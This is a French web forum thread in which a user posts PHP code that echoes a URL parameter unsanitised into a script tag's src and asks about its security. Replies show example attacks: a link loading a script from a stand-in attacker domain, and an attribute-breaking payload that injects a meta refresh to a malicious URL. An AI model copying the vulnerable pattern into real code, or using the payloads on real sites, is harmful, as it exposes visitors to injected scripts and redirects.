Aller au contenu

Comment charger un fichier js à partir d'un argument passé en url


Sujets conseillés

Posté

J'avais posé la question sur la forum JS, mais en fait j'ai finalement trouvé une solution en php, la voici :

Mon lien d'appel est :

<a href="mondomaine/mapage.php?monjs=fichierjs">Ma page</a>

En tête de "mapage.php" (au-dessus de "<!doctype html...") je mets le code php suivant, qui récupère l'argument passé en url :

<?php

$jsacharger=$_GET['monjs'];

?>

Enfin, dans le head je place l'appel classique à un fichier js...

<script type="text/javascript" src="<?PHP ECHO $jsacharger; ?>.js"></script>

...en passant comme nom de fichier (sans l'extension, que j'ajoute) l'affichage "echo" de l'argument passé en url.

On aura compris qu'ainsi, avec un seul fichier php, je peux afficher plusieurs ensembles d'informations en fonction du fichier js chargé à partir de l'argument en url, fichier js dans lequel je donne des valeurs aux différentes variables, affichées dans mapage.php par des classiques document.write(variable).

Que pensent les experts de cette solution ? Par exemple, question sécurité... Merci.

Posté

Je vois un risque d'injection de code dans ton script.

Il n'empêche pas, a priori, de faire appel à un script hébergé sur un autre domaine:

<a href="mondomaine/mapage.php?monjs=http://siteattaquant.com/scriptmalicieux">attaque</a>

Si j'héberge scriptmalicieux.js sur siteattaquant.com, je peux m'amuser un peu avec ta page ;)

Il me semblerait prudent que ton php interdise l'appel à des scripts externes.

Posté

De plus si je donne à la variable monjs la valeur :

"><meta http-equiv="refresh" content="0; url='http://www.mechante-url.tld/mechant-script.php' /><noscript>

Ce qui donnera en sortie avec ton appel:

<script type="text/javascript" src=""><meta http-equiv="refresh" content="0; url='http://www.mechante-url.tld/mechant-script.php' /><noscript>.js"></script>

Tout ça pour dire qu'il faut que tu opére au moins un strip_tags afin d'éviter ce genre de soucis.

Veuillez vous connecter pour commenter

Vous pourrez laisser un commentaire après vous êtes connecté.



Connectez-vous maintenant
×
×
  • Créer...